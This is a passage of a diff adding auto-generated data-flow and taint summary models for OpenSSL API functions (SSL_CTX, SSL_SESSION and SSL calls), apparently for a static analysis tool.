+ - ["", "", True, "SSL_CTX_set_info_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*info_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_keylog_callback", "(SSL_CTX *,SSL_CTX_keylog_cb_func)", "", "Argument[1]", "Argument[*0].Field[*keylog_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_max_early_data", "(SSL_CTX *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_msg_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***new_pending_conn_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**new_pending_conn_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*new_pending_conn_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_new_pending_conn_cb", "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*new_pending_conn_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***npn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**npn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*npn_select_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_proto_select_cb", "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*npn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***npn_advertised_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**npn_advertised_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*npn_advertised_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_next_protos_advertised_cb", "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*npn_advertised_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_not_resumable_session_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_num_tickets", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*num_tickets]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_options", "(SSL_CTX *,uint64_t)", "", "Argument[*0].Field[*options]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_options", "(SSL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_post_handshake_auth", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*pha_enabled]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_client_callback", "(SSL_CTX *,SSL_psk_client_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_client_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_find_session_callback", "(SSL_CTX *,SSL_psk_find_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_find_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_server_callback", "(SSL_CTX *,SSL_psk_server_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_server_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_psk_use_session_callback", "(SSL_CTX *,SSL_psk_use_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_use_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_purpose", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_quiet_shutdown", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*quiet_shutdown]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*record_padding_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback_arg", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_record_padding_callback_arg", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_recv_max_early_data", "(SSL_CTX *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*recv_max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_security_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_security_level", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_id_context", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*sid_ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_id_context", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*sid_ctx]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_id_context", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*sid_ctx_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[**3]", "Argument[*0].Field[***ticket_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[*3]", "Argument[*0].Field[**ticket_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*generate_ticket_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*decrypt_ticket_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_session_ticket_cb", "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)", "", "Argument[3]", "Argument[*0].Field[*ticket_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_cb_arg", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_client_pwd_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_strength", "(SSL_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_strength", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_verify_param_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_ssl_version", "(SSL_CTX *,const SSL_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ssl_version", "(SSL_CTX *,const SSL_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_stateless_cookie_generate_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*gen_stateless_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_stateless_cookie_verify_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify_stateless_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_timeout", "(SSL_CTX *,long)", "", "Argument[*0].Field[*session_timeout].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_timeout", "(SSL_CTX *,long)", "", "Argument[1]", "Argument[*0].Field[*session_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_tlsext_max_fragment_length", "(SSL_CTX *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*max_fragment_len_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_tlsext_ticket_key_evp_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*ticket_key_evp_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_tmp_dh_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_trust", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_verify", "(SSL_CTX *,int,..(*)(..),SSL_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_verify", "(SSL_CTX *,int,..(*)(..),SSL_verify_cb)", "", "Argument[2]", "Argument[*0].Field[*default_verify_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_verify_depth", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_PrivateKey_ASN1", "(int,SSL_CTX *,const unsigned char *,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_PrivateKey_ASN1", "(int,SSL_CTX *,const unsigned char *,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_RSAPrivateKey_ASN1", "(SSL_CTX *,const unsigned char *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_RSAPrivateKey_ASN1", "(SSL_CTX *,const unsigned char *,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_cert_and_key", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_use_cert_and_key", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_use_cert_and_key", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate", "(SSL_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[*2]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[1]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_psk_identity_hint", "(SSL_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_psk_identity_hint", "(SSL_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_dup", "(const SSL_SESSION *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SSL_SESSION_dup", "(const SSL_SESSION *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_alpn_selected", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_alpn_selected", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_alpn_selected", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_cipher", "(const SSL_SESSION *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_cipher", "(const SSL_SESSION *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_hostname", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[**hostname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_hostname", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*hostname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_id_context", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*sid_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_id_context", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*sid_ctx_length]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer", "(SSL_SESSION *)", "", "Argument[*0].Field[**peer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer", "(SSL_SESSION *)", "", "Argument[*0].Field[*peer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer_rpk", "(SSL_SESSION *)", "", "Argument[*0].Field[**peer_rpk]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer_rpk", "(SSL_SESSION *)", "", "Argument[*0].Field[*peer_rpk]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket_appdata", "(SSL_SESSION *,void **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket_appdata", "(SSL_SESSION *,void **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket_appdata", "(SSL_SESSION *,void **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get_compress_id", "(const SSL_SESSION *)", "", "Argument[*0].Field[*compress_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_ex_data", "(const SSL_SESSION *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_id", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*session_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_id", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*session_id_length]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_master_key", "(const SSL_SESSION *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_max_early_data", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_max_fragment_length", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*max_fragment_len_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_protocol_version", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ssl_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_ticket_lifetime_hint", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*tick_lifetime_hint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_time", "(const SSL_SESSION *)", "", "Argument[*0].Field[*time].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_time_ex", "(const SSL_SESSION *)", "", "Argument[*0].Field[*time].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_timeout", "(const SSL_SESSION *)", "", "Argument[*0].Field[*timeout].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_alpn_selected", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**alpn_selected]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_alpn_selected", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**alpn_selected]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_alpn_selected", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_selected_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_hostname", "(SSL_SESSION *,const char *)", "", "Argument[*0].Field[*ext].Field[*hostname]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_hostname", "(SSL_SESSION *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**hostname]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_hostname", "(SSL_SESSION *,const char *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**hostname]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*session_id]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*session_id]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*session_id_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id_context", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*sid_ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id_context", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*sid_ctx]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id_context", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*sid_ctx_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_master_key", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*master_key]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_master_key", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*master_key]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_master_key", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*master_key_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ticket_appdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ticket_appdata]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ticket_appdata_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_cipher", "(SSL_SESSION *,const SSL_CIPHER *)", "", "Argument[*1]", "Argument[*0].Field[**cipher]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_cipher", "(SSL_SESSION *,const SSL_CIPHER *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_max_early_data", "(SSL_SESSION *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_protocol_version", "(SSL_SESSION *,int)", "", "Argument[1]", "Argument[*0].Field[*ssl_version]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*time].Field[*t]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time", "(SSL_SESSION *,long)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time_ex", "(SSL_SESSION *,time_t)", "", "Argument[1]", "Argument[*0].Field[*time].Field[*t]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time_ex", "(SSL_SESSION *,time_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_timeout", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_timeout", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "SSL_accept", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_add1_host", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_add1_host", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_bytes_to_cipher_list", "(SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_certs_clear", "(SSL *)", "", "Argument[*0].Field[**tls].Field[**cert]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "SSL_check_chain", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_check_chain", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_check_chain", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)", "", "Argument[*3]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "SSL_clear_options", "(SSL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_clear_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_compression_methods", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*compressions]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_compression_methods", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*compressions_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_legacy_version", "(SSL *)", "", "Argument[*0].Field[**clienthello].Field[*legacy_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_random", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*random]", "Argument[**1]", "value", "dfc-generated"] + - ["", 